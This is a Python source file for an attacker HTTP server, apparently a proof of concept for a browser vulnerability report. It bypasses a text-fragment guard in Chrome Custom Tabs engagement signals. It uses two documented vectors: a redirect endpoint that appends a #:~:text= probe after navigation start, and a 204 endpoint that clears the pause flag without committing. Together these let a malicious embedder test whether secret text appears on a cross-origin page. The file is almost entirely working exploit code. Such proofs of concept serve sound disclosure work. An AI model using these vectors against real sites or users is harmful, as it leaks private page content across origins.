#!/usr/bin/env python3
"""
Attacker-controlled HTTP server for the CCT EngagementSignals text-fragment
guard bypass.

  /r?target=<url>&q=<substring>
      302-redirects to <url>#:~:text=<substring>. The malicious CCT embedder
      launches the Custom Tab at /r so that didStartNavigationInPrimaryMainFrame
      sees a fragment-less URL; only DidRedirectNavigation (which the observer
      does not handle) carries the #:~:text= fragment. -> mSignalsPaused stays
      false. (Bypass vector A.)

  /204
      Returns HTTP 204 No Content. Used as a same-session second intent after a
      direct #:~:text= load: DidStartNavigation fires with this fragment-less
      URL and unconditionally clears mSignalsPaused, but the navigation never
      commits so the victim text-fragment page stays on screen. (Bypass
      vector B.)

  /victim
      Stand-in long page so the demo works without a real authenticated
      cross-origin target.

Listens on 0.0.0.0:8080 so the Android device / emulator can reach it; restrict
to a trusted network when running.
"""
import http.server
import socketserver
import urllib.parse

PORT = 8080

VICTIM_PAGE = b"""<!doctype html>
<title>victim</title>
<style>p{margin:0;padding:40px 8px;font:16px sans-serif}</style>
""" + b"".join(
    b"<p>filler line %d</p>\n" % i for i in range(0, 200)
).replace(b"filler line 120", b"SECRET_TOKEN appears here at ~60%")


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):  # noqa: N802
        u = urllib.parse.urlparse(self.path)
        if u.path == "/r":
            qs = urllib.parse.parse_qs(u.query)
            target = qs.get("target", ["http://%s/victim" % self.headers.get("Host", "localhost:8080")])[0]
            probe = qs.get("q", ["SECRET_TOKEN"])[0]
            loc = target + "#:~:text=" + urllib.parse.quote(probe)
            self.send_response(302)
            self.send_header("Location", loc)
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            return
        if u.path == "/204":
            self.send_response(204)
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            return
        if u.path == "/victim":
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(VICTIM_PAGE)
            return
        self.send_error(404)

    def log_message(self, fmt, *args):
        print("[server]", fmt % args)


if __name__ == "__main__":
    with socketserver.TCPServer(("0.0.0.0", PORT), Handler) as httpd:
        print(f"serving on 0.0.0.0:{PORT}")
        httpd.serve_forever()
